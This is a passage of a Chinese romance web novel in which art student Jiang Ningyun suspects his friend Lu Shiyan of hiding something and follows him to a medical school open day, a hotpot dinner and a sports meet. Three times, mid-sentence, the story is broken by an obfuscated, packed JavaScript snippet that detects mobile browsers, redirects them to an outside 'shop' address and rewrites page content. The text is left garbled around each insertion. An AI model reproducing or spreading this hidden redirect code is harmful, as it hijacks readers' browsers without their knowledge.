“小凝,我切了蛋糕,要不要吃点,”陆时衍的声音传进来,“空腹喝冰牛奶不好。” 江凝云高中时因为饮食不规律闹过胃疼,进了次急诊,脸色苍白蜷在病床上的样子把陆时衍吓得不轻。自那以后,陆时衍就对他的三餐格外上心,搬出学校一起住后更是变本加厉。 想到刚才自己那点莫名的情绪,耳根又有些发热。但江凝云没反驳,起身拉开了门。 “来了。” 陆时衍端着碟子站在门外,脸上已看不出先前独处时的任何异样。看到江凝云出来,语气带笑:“中午想吃什么?” “还没想好。”江凝云接过蛋糕,直接挖了一勺送进嘴里,甜而不腻的奶油在舌尖化开。 “冰箱里还有排骨,要不要和我一起吃糖醋排骨?”陆时衍垂眸,视线扫过江凝云含着勺尖、微微鼓起的脸颊,眼神有些发沉,但语气如常。 江凝云赞同地点了两下头,他刚好今天特别想吃酸甜口的。 他捧着蛋糕窝进客厅沙发,有一搭没一搭地吃着,目光却不由自主地追随着厨房里那道忙碌的身影。 陆时衍先打开冰箱检视存货,又从储物柜取出几样食材。江凝云的挑食是出了名的——憎恶胡萝卜的土腥气、嫌弃青椒的涩味、受不了芹菜的特殊气息,对生姜更是敬而远之。 但偏偏又嘴馋,喜欢味道丰富而有层次的菜。 为了让他营养均衡又吃得开心,陆时衍没少下功夫研究。 “那配个清炒西兰花,再加个番茄蛋花汤?”陆时衍继续安排,“西兰花用蒜蓉炒,这样你不喜欢的味道就没那么重。” 江凝云眼睛亮了亮,非常满意这样的搭配,但又故作矜持:“嗯……可以吧。” 他趿拉着拖鞋蹭到厨房门口,看着陆时衍系着围裙的背影。 陆时衍处理食材的动作娴熟又利索,排骨焯水、调糖醋汁、西兰花掰成小朵浸泡……每一个步骤都井然有序。 江凝云看着看着就出了神。 “要加菠萝吗?”陆时衍突然回头问他,“上次做的菠萝咕咾肉你不是说好吃?” “要!”江凝云立刻应道,随即又觉得自己应答得太快,补了句,“...如果你也想的话。” 明明是陆时衍做饭,怎么看过去全是自己爱吃的。 陆时衍不禁失笑:“当然了,这些也是我爱吃的。”说完就从冰箱里拿出半个菠萝开始削皮切块。 江凝云看着陆时衍专注的侧脸,想起两个月前陆时衍还是不会做饭的,这进步也太大了。 他们平常吃食堂比较多,但到了周末陆时衍就喜欢自己做,而且做的大部分都是自己爱吃的。 那这么说来陆时衍和自己真的很有缘分,连爱吃的食物和口味都是相近的。 陆时衍以后也会这样对他喜欢的人吗? 江凝云突然有些不合时宜地想。 - 午后,江凝云钻进书房准备明天要交的报告。 阳光从落地窗洒进来,江凝云盘腿坐在地毯上,神情专注,指尖在键盘上敲个不停。 人在专注做一件事时就会忘记时间的流逝,一直到霞光透过玻璃落在身上,江凝云才意识到已经过去一整个下午了。 他活动了一下微微泛着酸的脖子和肩颈,起身走出书房。 客厅里空无一人。 陆时衍呢? 江凝云疑惑地四处看了看,出去倒垃圾了吗? 他记得陆时衍周天下午一般是喜欢待在家里看书或者整理资料的。 将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318920|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近过了一个多小时,门口才传来钥匙转动的声音。 陆时衍推门进来,额前的黑发被风吹得微乱,脸上带着一丝不易察觉的匆忙。他径直走向客厅,拿起充电器,给关机的手机充电。 “你去哪了?”江凝云的声音从阳台方向传来。他正拿着小喷壶给多肉浇水,随口一问。 陆时衍动作几不可查地顿了一下,随即语气平稳地解释:“明天院里开放日要用的器材临时出了点问题,老师叫我去协调了一下。” “哦。”江凝云放下喷壶,走回客厅。 见他没有追问,陆时衍默默松了口气。 他并不打算告诉江凝云,自己其实是去取一套颜料——江凝云几个月前在一本艺术杂志上瞥见,盯着看了好久的那套限量版。当时国内还没发售,陆时衍默默记下,辗转托人从国外带回,今天才刚到货。因为需要本人签收,他不得不亲自跑一趟。 “还以为你去约会了呢。” 陆时衍挂外套的动作几不可查地停了一下,然后对上江凝云的眼睛,无奈地笑了一下,“我哪来的约会对象啊,要谈我也是……” 意识到自己说了什么的陆时衍倏地停住。 江凝云下意识问道:“是什么?” 陆时衍脸上的表情很明显地凝固一瞬:“……没什么。” “……”江凝云呼吸一滞。那种不爽的感觉又来了。 江凝云本来是没多想的。 大家都是成年人了,肯定会有各种事要做。 但陆时衍这种明明想说什么却又说不出口的样子,在江凝云看来就特别像在心虚。 自己只是随口一说而已,陆时衍在心虚什么? 总不能真的是去约会了,然后骗自己是去院里了? 不可能,陆时衍不会做这种事。 那他在心虚什么? 不是。陆时衍最近到底怎么了? 江凝云强行压下内心的烦躁,忍着没表现出来,面色无常地和陆时衍一起吃完了晚餐。 夜晚,他独自躺在柔软的大床上,睁着眼睛,定定地盯着黑暗中的天花板。 这几天的种种细节反复在脑海中上演。 陆时衍这两天特别奇怪。 想来想去,江凝云还是选择相信自己的直觉。 ——陆时衍一定有事情瞒着我。 整张脸瞬间垮下来,心里涌上难以言喻的微妙感觉。 很快,委屈感如同夜色般浓重地把他包裹住。 他和陆时衍不是朋友吗? 江凝云“腾”地一下从床上坐起来,手边床头柜上是前面还没喝完的冰牛奶,他拿起杯子又喝了一口,现在是秋天,室内温度不算太低,玻璃杯外凝着一层水珠。 粘了一手。 江凝云的眉微不可察地皱起来。 最近发生的所有事情,都指向一个答案。 陆时衍没有以前那么坦诚了。 看着手机笑可以解释,可是突然离开呢? 还有前面那句说一半却又咽回去的话呢? 难道陆时衍是有喜欢的人了? 这样混乱的局面愈发勾起他的好奇心,他坐在床上,不舒服地躺下去。 他想自己弄明白。 5. 第 5 章 这节是英语课,离下课还有几分钟,江凝云已经悄无声息地收拾好了包。 林寓正玩着手机等待下课铃,余光瞥见这里的动静,惊讶地转过头:“你今天怎么比我还急?” 江凝云很少这么急着下课。 准确说,林寓几乎没见过什么事能让江凝云真正急过——那张过分漂亮的脸上大多数时候都带着一种理所当然的从容,好像就没什么事情能让江凝云引起太大的情绪波动。 他甚至怀疑,就算天塌下来,江凝云也会觉得该先落到别人头上。 “有事。”江凝云看了眼手机上的时间,回答得简短。 离医学院的开放日结束还有一个多小时,来得及。 “哦?”林寓一听来劲了,手机往桌上一扣,揶揄地看着他,“什么事啊?能让我们江少爷这么积极?” “嗯……拿快递。”江凝云话音刚落,下课铃响了,他抓起包往肩上一甩,迈着长腿,几步就走出了教室门。 他才不会告诉任何人他是去找陆时衍。 就连陆时衍本人都不知道。 “哎——”林寓在身后喊了声,江凝云头也没回,只在下楼梯时背对着他,抬起右手随意挥了挥。 他听见身后传来几道压低了的吸气声——江凝云连这样漫不经心的背影都好看得引人注目。 林寓无奈地摇头笑了笑,“骗鬼呢。”他才不相信江凝云真的是去拿什么快递。 秋日的阳光透过梧桐叶的缝隙,在校园路上洒下斑驳的光影。 江凝云穿了件浅米色的针织开衫,里面是简单的白T恤,衬得皮肤愈发白皙。微卷的栗色头发从帽檐下探出几缕,搭在光洁的额前。 N大校园里几乎人手一辆电动车。他长腿一跨坐上去,钥匙一转,车子便轻巧地滑入午后拥挤的人流。 他特地没告诉陆时衍自己会来。 如果陆时衍真的有什么“情况”,他身边那些同学多少会知道点风声。江凝云打算亲自看看。 想到这,他无意识地捏了捏车把。 下课高峰期的校园路堵得水泄不通,电动车只能缓慢地在人流缝隙间挪动。江凝云能感觉到沿途投来的视线,还有几声轻微的、类似相机快门的声响。 “……” 他抿了抿唇,帽檐往下压了压, 光是能明确感觉到的偷拍就有三四次。 他只希望那些人审美在线点——就算拍也至少拍出他八成的样子吧。 医学院和艺术学院隔了大半个校区,加上人潮拥挤,江凝云花了将近二十分钟才骑到。 他将车停在医学楼外的指定区域,对着后视镜理了理帽子和额前的碎发。 镜中的少年眉眼精致,眼尾微微上挑,乌润的瞳孔在阳光下亮得惊人,然后转身朝着开放日指示牌指向的长廊走去。 周围人声鼎沸,除了本校学生,还能看到不少外校参观者。白色建筑外墙上挂着醒目的红色横幅:“医学院开放日——探索生命,拥抱科学”。 江凝云随着人流走进主楼大厅,他看到这里被划分成几个主题展区,每个区域都围满了人。 空气里弥漫着淡淡的消毒水气味,混合着印刷品油墨的味道。穿着白大褂的医学生穿梭其间,个个神情认真,言谈间不时蹦出专业术语。 江凝云的目光快速扫过人群。 他突然意识到一个问题。 ——他瞒着陆时衍来,确实有个麻烦:他不知道陆时衍在哪。 他停下脚步,正准备问一下志愿者时,旁边传来一个迟疑的声音: “同、同学……请问你是要参观哪个区域?需要指引吗?” 一个戴着黑框眼镜、穿着白大褂的男生站在不远处,手里抱着文件夹,说话支支吾吾的,表情有些紧张。 他是医学院大二的学生,平时两耳不闻窗外事,一心扑在厚重的专业书上。 可就连他这样的人,都隐隐约约听说过——艺术学院有个长得特别漂亮的新生,叫江凝云。 然而,就算早有耳闻,真正见到江凝云的这一刻,他还是被那张脸冲击得大脑空白了几秒。 太……过分了。 那种漂亮带着一种近乎侵略性的明亮,让人不敢直视太久。 他的目光在江凝云脸上停留了几秒,随即像被烫到似的移开,耳根微微泛红。 江凝云对这种反应习以为常,开门见山道:“我想找陆时衍。请问你知道他在哪个展区吗?” 丝毫没怀疑面前这个人有可能不认识陆时衍。 男生的表情瞬间变了。他听说过,江凝云和陆时衍关系似乎还可以。 “你找陆时衍?”男生的语气变得有些微妙,他推了推眼镜,嘴角扯出一个算不上热情的笑,“他在临床技能区负责讲解。不过现在可能正忙。你是他……朋友?” 这话问得微妙,带着点试探的意味。 江凝云敏锐地捕捉到了对方语气里的怪异,漂亮的桃花眼微微眯起,问道:“对,怎么了,找他需要预约么?” 男生被他直白的反问噎住,脸色有些尴尬:“我不是那个意思……只是陆时衍他平时比较忙,可能没空接待……” 男生故意停顿了一下,目光在江凝云过分出色的脸上扫过,但又不太敢直视太久。 语气里带上了几分若有似无的“好意提醒”的意味: “陆时衍这会儿应该挺忙的。他这人就是这样,对工作特别……较真。之前院里的活动,有个外校的女生想加他微信请教问题,他直接让人家去查公开文献。”男生摇了摇头,像是无奈,“毕竟是我们院出名的高岭之花嘛,他对谁都那样,你别介意。” 这话听着像是解释,实则每个字都在暗示陆时衍冷漠、不近人情。 江凝云眉头微蹙。 男生见他不说话,又状似体贴地补充:“你要是有急事,我可以帮你转达。或者……其实我们院其他负责讲解的同学也很专业,不一定非要找陆时衍的。” “他对谁都那样?”江凝云有些不悦地抱起了胳膊,开口时声音比刚才冷了几个度,“我怎么不知道。” 男生一愣。 江凝云向前迈了半步。他比这男生略高一些,此刻微微抬起下巴,一字一句道:“你不想告诉我他在哪,可以,没必要诋毁他。” 说完把目光转向别处,他完全不想在无关紧要的人身上浪费时间。 男生的脸瞬间涨红,握着文件夹的手指收紧:“我不是那个意思,我只是说……” “小凝。” 一道清冽的声音从侧后方传来,打断了男生仓皇的解释。 江凝云闻声转头。 陆时衍不知何时站在了几步之外。 他穿着合身的白大褂,里面是熨帖的浅蓝色衬衫,领口扣得一丝不苟。 眼镜后的凤眼深邃,此刻正静静地看向江凝云,目光里带着很明显的讶异。 ……甚至看起来有点高兴。 白大褂衬得他身姿更加颀长挺拔,站在熙攘的人群里,有种格格不入的清净感。 陆时衍其实早就看到了江凝云,也听到了他们之间的对话。 他丝毫不在乎这个人对自己的偏见,但他没想到的是—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318921|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——江凝云竟然会维护自己。 他还以为小凝什么都不在乎。 看着江凝云理所当然地把他同组同学堵得哑口无言的样子,一股滚烫的暖流猝不及防地撞进胸腔,沿着四肢百骸蔓延开来。 “怎么来了不和我说?”陆时衍开口,声音带着掩藏不了的喜悦。 他之前有提过今天下午他要负责院里开放日的一部分讲解,还说江凝云如果想来的话也可以来。不过当时江凝云只回了“噢”。 他没想到江凝云真的会来。 “你在高兴什么?”江凝云微仰着头,语气不解。 陆时衍这才意识到自己的情绪好像外漏得有些过于明显了,尾指微微动了一下,他强行压下翘起的唇角,“没。” 江凝云内心狐疑,更觉得自己来对了地方。 他拿出早就准备好的理由:“我们专业课老师建议的,说多看看其他学科会对创作有启发。”他抬了抬下巴,看向周围琳琅满目的展品,“尤其是人体结构什么的,老师说对我们画人物有帮助。” 陆时衍看了他两秒,点点头,唇角又控制不住地勾起:“嗯,确实。” 他没再多问,转身示意江凝云跟上:“我带你看。” 那个眼镜男生还僵在原地,脸色青红交加。陆时衍经过他时,目光淡淡扫过,没有停留,也没有说话,像掠过一片无关紧要的空气。 江凝云跟着陆时衍往展厅深处走,悄悄松了口气——看来陆时衍信了。 接下来的一个多小时,江凝云不想打扰陆时衍工作,自己在周边逛了一会。 同时也在默默留意每一个和陆时衍打招呼的人,留意陆时衍看谁的眼神会多停留一秒。 可看了一会下来,一切如常。 陆时衍对谁都客气而疏离,偶尔有相熟的同学过来拍拍他的肩开两句玩笑,他也只是淡淡点头,回应得简短。 还偶尔看向自己所在的方向。 至于那些传闻中可能存在的暧昧对象,江凝云连影子都没见着。 人呢? 难道说不是同学? 可如果陆时衍没有情况,那他这两天的反常,到底是因为什么? 实在是看不出问题,江凝云中途还拿出手机看了看监控里的小猫有没有好好吃饭。 活动到五点多就结束了,一个穿着白大褂、扎着高马尾的师姐笑着走了过来:“时衍,这是你朋友?” 陆时衍点点头:“江凝云,美院的。”又转向江凝云,“这位是陈婧师姐,大四临床的。” 陈婧眼睛一亮,笑容爽朗:“原来你就是江凝云啊!久仰大名,果然比传闻中还好看。”她看向陆时衍,打趣道,“藏得挺深啊,有这么好看的朋友也不早点介绍。” 陆时衍没接话,只是看了江凝云一眼。 陈婧似乎习惯了陆时衍的沉默,转向江凝云,热情邀请:“我们几个负责今天开放日的同学待会儿要去西门那家火锅店聚餐,一起吗?人多热闹。” 陆时衍几乎下意识地开口:“他不……” “好啊。”江凝云却抢在他前面,答应得干脆。 陆时衍顿住,看向江凝云。 他不爱去这种陌生人多的场合。 江凝云语气自然:“反正晚上也没事,去呗。” 饭局上人多,正好再观察观察,万一有什么线索,在放松的环境里更容易露出来呢? 陈婧高兴地拍了拍手:“那就这么说定了!六点半,西门‘九宫格’,你知道地方吧时衍?” 陆时衍点点头,目光仍落在江凝云脸上。 6. 第 6 章 江凝云感受到了落在脸侧的视线,装作没看见。 一直到收拾器材的时候,陆时衍终于放慢了动作,再次侧过头看向身旁的江凝云。 傍晚的光线斜斜地落在江凝云干净的侧脸上。 “怎么突然答应……”陆时衍顿了一下,似乎在斟酌用词,嘴角很轻地扯了扯,“这种人多又杂的聚餐了?” “嗯?”江凝云心虚地移开视线,扭头去看周围也在搬器材的医学生,他就知道陆时衍会问这个。 江凝云尽量把语气放得轻松:“刚刚不是说了嘛,反正今晚也没事。” “……这样。”陆时衍点了点头,但他心底还是觉得江凝云不像是会因为没事干而参加这种聚餐的人,他不喜欢无意义的社交。 江凝云听出来了。 陆时衍的声音听起来半信半疑的样子,不会察觉到什么吧? 他在陆时衍看不见的地方暗暗蹙了蹙眉,在陆时衍追问之前抢先开口:“哎,我帮你。”同时快步上前,抬手脱住器材的底部。 抬手时针织开衫的袖口滑下一截,露出纤细白皙的手腕。 “不用,它不重,”陆时衍果然被转移了注意力,抱着器材往里退了两步,动作间衣摆扬起一个利落的弧度。几个在走廊尽头聊天的同学往这边看了一眼,随即压低声音兴奋地交谈起来。 陆时衍皱了皱眉——很轻微的一个动作,连站在他面前的江凝云都没有发现——侧身挡住江凝云大半身形,“你就在这里等我吧,我一个人就行。” 江凝云看着陆时衍上楼的背影,几不可闻地松了一口气。 总算糊弄过去了。 - 傍晚六点半,西门“九宫格”火锅二楼包厢。 圆桌旁坐了六七个人,大多是陆时衍同班或者同小组的同学,加上江凝云一个外系的。 热气从火锅里升腾起来,红油在锅里翻滚,发出“咕嘟咕嘟”的声响,辣香很快就弥漫到屋内的每一个角落。 江凝云不太会吃辣,但又很喜欢这种被辣到舌尖发麻、眼眶发热的感觉,所以每次吃火锅都会点鸳鸯锅,然后只吃几口辣锅的菜。 但这家店的锅底实在是辣得有些过分了。 他才吃了三口,已经灌了两杯冰镇酸梅汤了,嘴唇被辣得嫣红,眼底也沁出一些泪光。 陆时衍给他递了两张纸巾,微微倾身,在他耳边小声说:“吃不辣的吧。”语气里是掩盖不住的笑意。 江凝云侧头和他对视上,眼睛在热气里显得雾蒙蒙的,他强忍着舌根处的痛感,压低了声音抱怨道:“你们选的这家火锅店也太辣了。” 说完,他看到陆时衍愣了一下。 怎么了?陆时衍干嘛突然走神。 江凝云皱了皱鼻子,心里狐疑,然而下一秒思绪就被打断。 “你们怎么说悄悄话啊?”一个同学突然打趣道。 他知道这个人是陆时衍的同实验室的师弟。 江凝云摇了摇头,“没。” 他其实一直在观察,看似在听大家聊天,实则目光悄无声息地掠过桌上每一个人,留意着他们和陆时衍的接触。 可到现在为止,一切如常。 “所以江同学是油画系的?”坐在对面的陈婧师姐笑着问,眼里带着好奇和毫不掩饰的惊艳,“难怪气质这么好。” 旁边一个戴着眼镜、穿着格子衬衫的男生接话:“我之前一直觉得美院的人都很……嗯,艺术范儿?”他说得自己都没忍住笑了一下,“就是那种不食人间烟火的感觉。” “我也觉得!”一个扎丸子头的女生兴奋地附和,“你们是不是每天都在很潇洒地创作?仙气飘飘的,挥毫洒墨间,一份作品就这样诞生了!” 江凝云闻言,很轻地笑了一下。 灯光落在他微弯的眼睫上,这一笑让整个包厢都安静了一瞬。 看呆了。 江凝云笑起来眼睛会弯成好看的弧度,眼尾微微上挑,唇角的弧度恰到好处,让人没法移开眼。 陆时衍给江凝云添了些椰汁,倒完不露声色地朝他坐近了些。 “不是的,咳咳……”大家对美术生的误解还真挺千篇一律的。 江凝云再度开口,嗓音有些发哑,但还是清润好听。 “是不是太辣了?”有人见他咳嗽,关心道。 江凝云又咳了一下,眼睛都红了一圈,但还是硬着头皮说:“还好。” 听陆时衍没忍住勾了勾唇角,还是那么要面子。 “其实没你们想象得那么仙气飘飘,”江凝云带着点实事求是的认真,“我们画油画时要戴围裙,因为颜料很容易弄脏衣服。而且画大幅作品的时候,还要搬很重的画板,有时候一天下来胳膊都抬不起来。” 他说这话时,陆时衍正往他碗里夹了片刚在番茄锅里涮好的肥牛,动作自然得像做过无数遍。 陆时衍很自然地接话,理所当然地附和道:“是啊,你们别把画画想得那么光鲜亮丽,很难的。” 江凝云扭头看了他一眼,觉得有些好笑。 陆时衍又不是美术生,说得很懂一样。 “这样啊……”陈婧若有所思地点点头,随即眼睛一亮,“你们的生活真的好有意思!我特别崇拜学艺术的人,我们能加个微信吗?方便吗?” 她这话一出,桌上的其他几个医学生也纷纷看了过来,眼神里都是期待。 “我也想加!”另一个扎马尾的女生举起手机,屏幕上亮着二维码界面,“以后看展可以约着一起呀。” “还有我……” 江凝云握着筷子的手微微一顿,神色看上去有些为难,最终还是露出一个带着歉意的笑,“抱歉啊,我不习惯我的微信有太多人。” 他顿了顿,又说道:“我们可以等下次有机会再见面的时候再加。” 江凝云说完,很自然地拿起陆时衍给他新倒的椰汁喝了一口,喉结轻轻滚动,明明是很普通的一个动作,却让人觉得随意又好看。 奇怪的是,被这样直白地拒绝,桌上却没人感到不舒服。 毕竟,总不能长得这么好看,一点个性都没吧。 “啊……也是也是,是我太突然了,”陈婧连忙摆摆手,笑容有些不好意思,“那我们后面有机会再说。” “对对,先吃饭先吃饭,下次有缘分了再加!” “陆时衍你真好命,每天都能看到这么好看的一张脸。”语气听起来酸溜溜的。 陆时衍也不否认,发自内心地笑着说:“是啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318922|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江凝云闻言扯了扯唇角。 气氛很快又热络起来,他开始认真往番茄锅里下菜。 大家又七七八八聊了很多,吃到后半程,有人提起了下个月的运动会。 “终于能喘口气了,”扎丸子头的女生靠在椅背上,长舒一口气,整个人瘫进椅子里,“不用天天满课,幸福。” “你报名了吗?”陈婧问。 “没呢,今年当观众。”女生摆摆手,“你们谁报了?” 桌上陆续有几个人举手。陈婧报了女子八百米,另一个男生报了4×100米接力,都是些不是特别难的项目。 “时衍呢?”陈婧突然转向陆时衍,笑着打趣,“你今年不会又当观众吧?我记得去年运动会你人影都没见着。” 江凝云闻言在心底笑了一下。 陆时衍肯定不会参加。 他记得陆时衍和他一样,对这类集体活动向来兴趣不大。 再加上医学生课业这么重,陆时衍又是个把时间规划到分钟的人,怎么可能…… “报了。”陆时衍的声音在耳边响起。 江凝云舀虾滑的动作一顿。 他是不是听错了。 过了两秒,江凝云才神色无常地把虾滑舀入自己碗中。 别看江凝云现在这副淡定、没有任何波澜的模样,只有他自己知道,他的脑子已经乱成一团了。 “真的假的?”陈婧也惊讶了,“你报了什么?” 陆时衍又打算给江凝云添点椰汁,江凝云见状把杯子拿走:“我自己来。” 陆时衍指尖蜷了一下,把椰汁递过去,很平静地道:“好。” 然后才回答他们:“三千米。” 江凝云一口气喝了半杯。 桌上顿时响起一阵起哄声。 “我去!连你都出马了!” “医学院今年有希望了啊!” “时衍你居然会参加这个……太阳打西边出来了!” 嘈杂的声音在江凝云耳边嗡嗡作响,他却像隔了一层玻璃,听得不真切。 他又装作不经意地看了眼陆时衍的表情。 还是像往常一样,没什么特别的。 有人实在是好奇,问出了在场所有人都想知道的问题:“你为什么报名啊?而且一报就是三千米!” 江凝云也在听。 结果却听到陆时衍短促地笑了一声:“突然想参加一下运动会而已,至于这么惊讶吗?” “至于!太至于了!” “该不会是运动会上有什么喜欢的女生吧?” “不对啊那也没必要去报名啊。” 接下来不管大家怎么问,陆时衍都只回答是心血来潮想报名。 渐渐地大家也不问了,毕竟看陆时衍那个样子,也问不出来什么。 可江凝云心里,却有什么东西“咔嚓”一声,轻轻裂开了。 ——陆时衍报名了运动会。 ——那个连班级团建都嫌浪费时间、永远把学习排在第一位、不喜欢人多热闹场合的陆时衍。 ——报名参加了三千米跑。 江凝云莫名觉得喉咙有些发干。 他突然觉得,自己好像不是那么了解陆时衍。 7. 第 7 章 桌上又恢复了热闹,大家开始七嘴八舌地讨论起别的,话题很快转到了即将到来的篮球赛。 江凝云忽然想起今晚来吃饭的初衷。 他是想来观察陆时衍的,看看他是不是对谁有特别的关注,会不会露出什么蛛丝马迹。 结果今晚他只是在刚开始留意了一下,很快就把这个目的忘得一干二净。 现在仔细回想,江凝云才发现:陆时衍的注意力似乎都在他身上。给他递纸巾,帮他添饮料,从番茄锅里捞出煮得刚好的肉片和虾滑放进他碗里。 一切如常。 甚至比平时更加周到。 江凝云微微皱眉,无意识地咬着吸管,脑子里乱糟糟的。 按理说,这里面没有陆时衍喜欢的人,说明陆时衍可能真的没骗他,论坛的那些传言或许只是谣言。他应该高兴才对。 可是,陆时衍为什么要报名运动会? 这么多年来,他就没见陆时衍对集体活动表现出一丝一毫的兴趣,凡事都注重结果和意义的陆时衍,怎么会突然心血来潮去报名三千米? 江凝云盯着碗里漂浮的葱花,一个念头不受控制地冒出来。 该不会是……和谁约好了吧? 在运动会上见面?或者,根本就是为了某个人才报的名? 这个疑问像藤蔓一样缠绕上来,一直到散场的时候都没消掉。 - 秋夜的风带着明显的凉意。 陆时衍和江凝云并排骑在路上。 他察觉到要散场之前,江凝云的情绪明显低落了一些。 因为江凝云一心情不好的时候,就会做很多无关紧要的事情。 比如一直咬吸管,咬到吸不上来饮料,再比如一直捣鼓碗里的菜,把它们捣碎捣烂。 自从小凝和他的同学们说了再见后,一路就没怎么说过话,陆时衍加大力度握了握车把,终于等到一个红灯。 “小凝,”他侧眸望向身旁的江凝云,他皮肤太薄了,鼻子被风吹得有些红,还看到前方过斑马线的行人频频向他们投来目光,问道,“不开心吗?” 江凝云微微一怔。 陆时衍见状就知道是自己说对了,问了一个自己觉得最有可能的推测:“是因为他们说的那些话吗……” “不是。”江凝云打断道。 那不就是几句八卦吗?无非是说每天都能在论坛上看到关于自己的帖子,他怎么可能因为这些不重要的小事而不高兴。 “那是因为什么?”陆时衍又问。 江凝云整理了一下自己帽子,皱了皱鼻子。 还能因为什么? 还不是因为陆时衍有事瞒着他。 而且凭什么陆时衍每次都能这么轻易地感知到他的情绪变化? 他刚刚的不高兴有那么明显吗? 刚好绿灯亮了。 江凝云扭动车把,拐个弯后开进了小区的地下停车场,声音散在夜风里,听起来比平时轻,“你报名运动会……真的只是突然想参加?” 因为这个么? 陆时衍点了点头,解释道:“我本来是晚点再想告诉你的,结果没想到他们先问了。”声音在空旷的停车场里显得格外清晰。 说完,陆时衍又觉得江凝云的不开心不可能是因为这个。 江凝云怎么会在乎自己有没有参加运动会。 不过他语气还是比在火锅店里更认真得多:“最近实验做得太多,肩膀有点僵,想动一动。” 听得江凝云想笑。 这借口找得会不会有点敷衍了! 江凝云扭头看了一眼陆时衍棱角分明的侧脸,眼眸微弯,缓缓问道:“这样吗?” 他怎么感觉,要不是刚刚在饭桌上有人问了,陆时衍根本就不打算告诉自己呢? 好烦,陆时衍最近瞒着他的事情可真多。 “对。”陆时衍回答得很快,更像是在掩饰什么。 陆时衍嘴唇嗫嚅两下,问他:“你会来看吗?” 江凝云冷哼一声,拔了车钥匙就往电梯走,没答应也没拒绝:“如果我有时间的话。” 不是说心血来潮吗?只能又变成了实验做太多了,肩膀僵,所以报名三千米? 江凝云怎么会听不出来这不是真正的原因。 陆时衍当他们这么多年朋友白做了吗? 他们认识这么多年了,陆时衍每一个细微的表情变化、每一句话里隐藏的情绪,江凝云不敢说完全掌握,但至少能分辨出,什么是真心,什么是敷衍。 他能笃定陆时衍现在就是在敷衍他。 心头那点烦躁徒然变成了实质性的恼火。 陆时衍不仅有事瞒着他,还用这种拙劣的借口来搪塞。 当他傻吗? 但江凝云不想再问了。他不想再听到更敷衍的答案。 - “你没事吧???” 林寓震惊得嘴巴都合不上。 江凝云一扭头甚至能看到他的牙床。 他嘴唇无奈地抿成一条线,抬起一只手把林寓的下巴往上推了推。 终于闭上了。 他第五次回答这个问题:“都说了,”然后扬起一个很假的笑容,一字一顿道:“想看看有什么特别的。” 林寓给笑得瘆人,他只觉得江凝云脑子坏了,能有什么特别的啊? 前几天他就问过江凝云报不报运动会,江凝云说他讨厌体育,更讨厌跑步,这辈子都不会参加运动会。 结果过了一个周末就报名了一千五?? 理由还这么牵强? 是不是谁刺激他了?可是江凝云能被谁刺激啊,他刺激别人还差不多。 “这……”林寓才发出一个单音节就被打断。 “你不也报了嘛。”江凝云说完就逃也似的骑车走了。 “你——”林寓在原地被哽住,“这能一样吗!我那是为了……” 林寓的声音消散在风里。 他随便报了个跳远,纯粹是为了逃避被强制安排去当一整天观众、在烈日下暴晒的悲惨命运。 这怎么能和江凝云主动报名一千五百米相提并论?! - 当观众确实烦人。 运动会第一天上午,阳光就已经显露出不容小觑的威力。 比赛还没正式开始,各院的观众看台上就已经坐了不少学生,大多戴着帽子,举着小风扇,脸上写满了不情愿。 就没几个不抱怨的。 “学校是不是有那个大病,为什么还要强制观众名额啊。” “我本来能睡到中午的!” “热死了啊啊啊怎么还不开始!何意味!” 还有自我安慰的:“算了算了第一天当完之后两天就不用来了。” 不知是谁先低呼了一声: “等等,你们看那边……那是江凝云吗?” 像是按下了某个静音键,附近一小片区域的喧闹声诡异地低了下去,许多道目光齐刷刷地投向入场通道的方向。 入口处,一个穿着简单白色运动短袖、深色运动短裤的男生正微微低着头,整理着自己胸前刚别好的号码布。 阳光毫无遮挡地落在他身上,勾勒出挺拔颀长的身形。他侧脸的线条在明亮光线下显得愈发精致清晰,皮肤白皙得像会发光。 只是立在那里,就与周遭喧闹格格不入。 旁边还跟着一个人一直在喋喋不休地说着什么。 “卧槽,江凝云!” “他怎么来了?还别着号码布?” “怎么没人告诉我江凝云也报名了。” “我将原谅这个世界一秒。” 江凝云能感觉到无数目光从四面八方汇聚过来,黏在他身上。从走进体育场开始,这种被注视的感觉就如影随形,踏上跑道边的准备区域后,更是达到了顶峰。 他径直走到检录处完成手续,耳边是林寓再次重复注意事项:“保持自己的节奏,呼吸要均匀……” 江凝云终于忍不住,很无奈地笑了一下,开口打断:“你怎么比陆时衍还啰嗦。”他又不是没跑过步,至于念一路吗? 这句话果然成功转移了林寓的注意力,一时间都忘了问陆时衍怎么会啰嗦。 